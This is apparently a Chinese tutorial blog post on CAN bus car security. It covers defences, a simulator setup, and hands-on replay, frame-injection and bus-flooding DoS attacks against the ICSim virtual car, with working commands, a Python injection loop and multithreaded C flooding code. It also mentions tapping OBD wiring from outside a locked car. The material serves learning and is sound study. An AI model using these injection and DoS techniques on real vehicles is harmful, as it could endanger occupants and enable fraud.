我个人对车联网安全算是倾慕已久(bushi,想想吧,超巨型遥控车,属实有点酷炫。从另一个方面看,因物理意义上的人是确确实实坐在车里的,这和传统的虚拟战场攻防区别开,赋予了车联网安全特别的意义。
现代汽车产业发展迅速,传统汽车再满足不了人民日益增长的美好生活需要(最政治正确的一集。早期的车辆是没有电气系统的,发动机以及相关机械功能的工作都是纯机械驱动;没有空调,没有灯。但这样汽车永远只会是代步工具而无法满足驾驶员的驾驶体验。于是抛除掉基本的运载功能,各种子系统在不断增加,其中革命性的发展在20年代中期——电子控制单元(ECU)的出现,现代车辆已有数百个ECU,负责转向、加速、制动等等功能。1986年,德国公司Bosch开发出CAN总线来连接ECU。而在此之前,车载通信系统是通过点对点的布线系统实现的。随着车载电子元件越来越多,这种通信系统变得愈发笨重,而且维护费用非常昂贵。
对于CAN总线的安全性,由于这是一种低级协议,所以不存在内在的安全功能,所以其网络数据可以被任意截取。在大多数应用中,应用程序需要部署自己的安全机制,例如认证传入命令或网络上某些设备的存在。若不执行适当的安全措施,其他人可能设法在总线上插入消息。尽管一些安全关键功能(如修改固件,编程键或控制防抱死制动)存在密码,但这些系统并未普遍实施,并且密钥对的数量有限。
总的来说,CAN总线控制各种ECU怎么配合,即他们之间的通信。由此可以想象,如果有人能操控你的CAN总线进行命令控制,那是多么可怕的一件事。
防御措施
车载加密技术:车载加密技术可以对车辆明文数据信息进行保护,有效防止攻击者利用传输信道窃取或破坏传输信息,进而保证数据传输的完整性和机密性,避免数据泄露的安全风险。Aminifar
等提出了一种基于迭代分组密码的对称加密方法,并设置了机密保护与开销之间的权衡机制,以最大限度地提高机密性,同时保证实时性的要求。
车载防火墙技术:防火墙技术可以对网络流量进行监控,根据事先制定的安全策略对数据流量进行管控。Luo等为车载网络设计一个安全网关,基于威胁分析定义了车载网关的安全要求,提出将安全通信、密钥主控和防火墙作为保护汽车网关的安全机制,安全通信机制主要包含消息身份验证和数据加密。
车载入侵检测技术:相较于静态的车载入侵防御系统(intrusion prevention
system,IPS),车载入侵检测系统(intrusion detection
system,IDS)可以对网络流量进行监控,是一种在不影响网络性能前提下的主动防御手段,主要有基于异常IDS、基于签名IDS、基于规范IDS、基于混合IDS、基于指纹
IDS、基于参数监控 IDS、基于信息熵IDS 和基于机器学习 IDS。其中,基于异常
IDS为业内常用的入侵检测方法,将实时数据与正常行为数据进行比对,利用训练好的模型分析结果和常规值的偏差与阈值之间的关系,定位安全风险。
车载安全审计技术:利用车载终端记录的访问日志进行审计和监管,也是车载终端系统安全防护的重要手段之一。Checkoway
等通过实验验证了审计系统会在发现异常或攻击事件时启动处理程序,降低潜在攻击的威胁。常见的安全审计方法有基于数理统计的安全审计、基于特征匹配的安全审计以及基于预测感知的安全审计。
车载网络安全认证技术:车载网络安全认证技术可以增强车载系统的安全性。Jo
等提出了一种Mauth-CAN认证方法,利用ECU与验证器共享密钥,验证器可以安全有效地为ECU分配种子值,进而规避由ECU发起伪造攻击的安全风险。
仿真环境与基本操作
ICSim
./setup_vcan.sh # 初始化,每次重启后都要重新运行
./icsim vcan0 # 仪表界面
./controls vcan0 # 控制界面
其中启动 setup_vcan.sh 主要功能是加载CAN和vCAN(virtual controller area network)网络模块。并创建名为vcan0的网络设备打开连接。
功能 | 按键 |
---|---|
加速 | 上方向键 |
左转向 | 左方向键 |
右转向 | 右方向键 |
开/关左车门前锁 | 右/左shift + A |
开/关右车门前锁 | 右/左shift + B |
开/关左车门后锁 | 右/左shift + X |
开/关右车门后锁 | 右/左shift + y |
开启所有车门锁 | 左shift + 右shift |
关闭所有车门锁 | 右shift + 左shift |
can-utils
sudo apt-get install can-utils
这是一个用于控制与 CAN 总线通信的工具集合,具体包括如下:
cansend:用于向 CAN 总线发送单个 CAN
帧。可以指定帧的标识符、数据和其他参数。
candump:用于监听 CAN
总线上的数据帧,并将接收到的帧显示在终端上。可用于实时监测 CAN
总线的数据流。
canplayer:用于回放记录在文件中的 CAN 数据帧。可以模拟之前捕获的 CAN
数据,对系统进行测试和验证。
cangen:用于生成随机的 CAN 数据帧,用于测试和模拟不同的 CAN
数据场景。
cansniffer:用于监视 CAN 总线上的数据帧,并将其显示在终端上。与 candump
不同的是,cansniffer
可以提供更详细的信息,如错误检测和计数器统计等。
canbusload:用于测试 CAN 总线的负载容量。通过生成大量的 CAN
数据帧,可以评估 CAN 总线的性能和稳定性。
socketcand
用于在Linux系统上实现CAN(Controller Area Network)总线的通信。它提供了一个简单且灵活的接口,使用户能够通过套接字(sockets)与CAN总线进行通信。我们需要用这个工具来让SavvyCAN跟CAN总线通信。
下载socketcand
git clone https://github.com/linux-can/socketcand.git
cd socketcand
获取缺少的文件
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
编译安装
autoconf
./configure
make clean
make
sudo make install
SavvyCAN
SavvyCAN是一个基于多个QT平台的C++程序,主要用于CAN数据的逆向分析和捕获。
# 直接下载二进制文件进行使用
wget https://github.com/collin80/SavvyCAN/releases/download/continuous/SavvyCAN-1999da8-x86_64.AppImage
chmod 777 SavvyCAN-1999da8-x86_64.AppImage
./SavvyCAN-044fea3-x86_64.AppImage
```
需先安装[Qt5环境](https://download.qt.io/archive/qt/5.14/5.14.2/),注意安装时不能只安装Qt creator,全部下下来内存还挺大的,大约五六个G,注意留好空间。
然后在 Connection->Open Connection Window->Add New Device Connection 中选择 QT SerialBus Devices,将 SerialBus Devices 选择为 socketcan,将port选择为虚拟端口vcan0,就可以开始捕捉与过滤了。
## WireShark
无处不在
# 如何物理意义上接入CAN网络
通过OBD可以直接访问CAN。车上诊断系统(On-Board Diagnostics),是一种装置于车中以监控车辆运行状态与回报异常的系统,可于车辆的子系统出现问题时,产生故障代码和提醒讯号通知车主和车厂诊断维修。
示例位置:[江铃车系的OBD诊断接口](https://www.bilibili.com/video/BV1xh411Q7AP/?spm_id_from=333.337.search-card.all.click&vd_source=925702a604089f3c4965c6447751f6ed)
得知车辆的大概布线的话,可以从锁着的车外卸下铁皮,从外部接入OBD的布线。
# 重放攻击
重放攻击(Replay attack)是一种网络攻击,指攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程,破坏认证的正确性。攻击者利用网络监听或者其他方式盗取认证凭据,之后再把它重新发给认证服务器。从这个解释上理解,加密可以有效防止会话劫持,但是却防止不了重放攻击。重放攻击任何网络通讯过程中都可能发生。
在仿真模拟中,可利用can-utils中的candump与canplayer工具来实现数据包的捕捉与重放。
candump -l vcan0 # 将数据包存储到log中 canplayer -I 文件名.log # 进行重放攻击
危害举例:车辆跟充电桩之间的通信部分也是CAN通信,如果CAN流量能够进行重放,没有一定的防御机制,那么攻击者可能可以通过这种方式进行恶意扣费等操作,即捕捉你付费的数据包重复发送。
加速正常重放只能加速一下,写一个python程序:
import os import time
while True: os.system("cansend vcan0 244#0000003894") time.sleep(1)
# 消息逆向
虽然流量重放能够让我们触发特定的操作,但实际上我们不知道是哪一帧能够触发这个操作,这就需要我们对消息进行逆向。根据抓取的CAN数据还原其外在的体现,具体分析指令对应的功能。CAN 总线命令的语义通常可分为两类:(1) 控制,它操作车辆的物理部件,如解锁车门和启动发动机;(2) 诊断,用于查询车辆的数据(如速度和温度)。对于每个语义含义,都有一个对 CAN 总线命令的一对一映射。例如,对于丰田普锐斯,CAN总线命令标识符"0x750"是指主体,"0x7C4"用于空调。
这里随便举个例子来说明其具体格式
(1714014624.483285) vcan0 19B#000000000000 # 对应 (时间戳)
can接口 仲裁ID#数据 # 仲裁ID的数字越低,在网络上的优先级就越高。
分析数据可以根据log文件慢慢排查,就是删删删(二分法)不停运行看到底是哪行负责。第一次获取log文件手慢了直接获取了一万六千多行...找不了一点,后面手快缩短到五千行,但也二分了19次才找到。
快一点的方法就是利用cansniffer工具看动态的log,即操作一下看看是哪些数据在变化,但咱属实眼神不好...(Bushi。就不放静态的图了,因为动态的看一下还蛮明显的,以开车门举例,可以明显发现进行开车门操作时多了一行数据。
cansniffer -c vcan0
另外,SavvyCAN中的sniffer要更好找一些,开启notch过滤直接世界都清净了。
# 基于CAN总线协议仲裁机制的DOS攻击
一句话概括CAN总线的机制:CAN总线是一种基于“先来后到、无损仲裁”机制、多主(无主)结构、具有帧ID、应用数据最多8个字节、采用差分电平的国际标准现场总线。细细说来,“先来后到”是说总线空闲时,任何一个CAN节点都可以发送数据,谁先来谁先发,避免内卷,从我做起,哦耶。“无损仲裁”是说两个节点同时发的时候,则比较数据帧ID部分来决定谁先发送,ID小的先发,ID大的自动退出。而退出后数据也不会丢失,而是等待下一个空闲期再尝试发送。“多主”指每个节点的地位相对来说是平等,都可以主动发起数据。
这里可能会发现这个机制和p-坚持CSMA有些类似,但又稍有不同。其一,CSMA碰了再改,CAN先比再发。当多个节点监听到信道为空闲时,CSMA可能同时发送数据而导致碰撞,然后等待随机时间再发送;CAN中尝试发送前会先比较。其二,CSMA如果发生碰撞,数据可能丢失;CAN即使发生碰撞,数据也不会丢失。另外,简要分析一下这样设计的原因,CSMA粗糙一些,目的是网络中的节点共享通信信道,主要希望减少碰撞而增加网络的吞吐量和效率;CAN精细一些,目的是提供可靠的实时通信,主要希望保证数据的准确性。
我们先找到两个低优先级的操作,为了做对比实验
cansend vcan0
19B#00000E000000 # 开车门 cansend vcan0 19B#00000F000000 # 关车门 #
找一个高于他们的,这里使用的左转向灯 cansend vcan0 188#01000000 #
开左转向灯
#include <stdio.h> #include
<stdlib.h> #include <unistd.h> #include
<pthread.h>
void* send_message(void* arg) { while (1) { system("cansend vcan0 188#01000000"); }
return NULL;
}
int main() { pthread_t threads[100];
for (int i = 0; i < 100; i++) {
pthread_create(&threads[i], NULL, send_message, NULL);
}
while (1) {
sleep(1);
}
return 0;
}
这段代码的作用是创建了100个线程,每个线程都会不断地向CAN总线发送相同的消息,模拟了多个节点同时发送数据的情况。
gcc -o attack main.c -pthread ```
编译为attack可执行文件后执行,发现左转灯一直在开。随后利用模拟器进行开关车门的操作,会发现好几次之后才成功。所以只能是造成部分CAN数据干扰,不能百分百干扰,不过还是可以感觉到是有变化的,部分数据会产生丢失,造成对应的指令没有执行成功。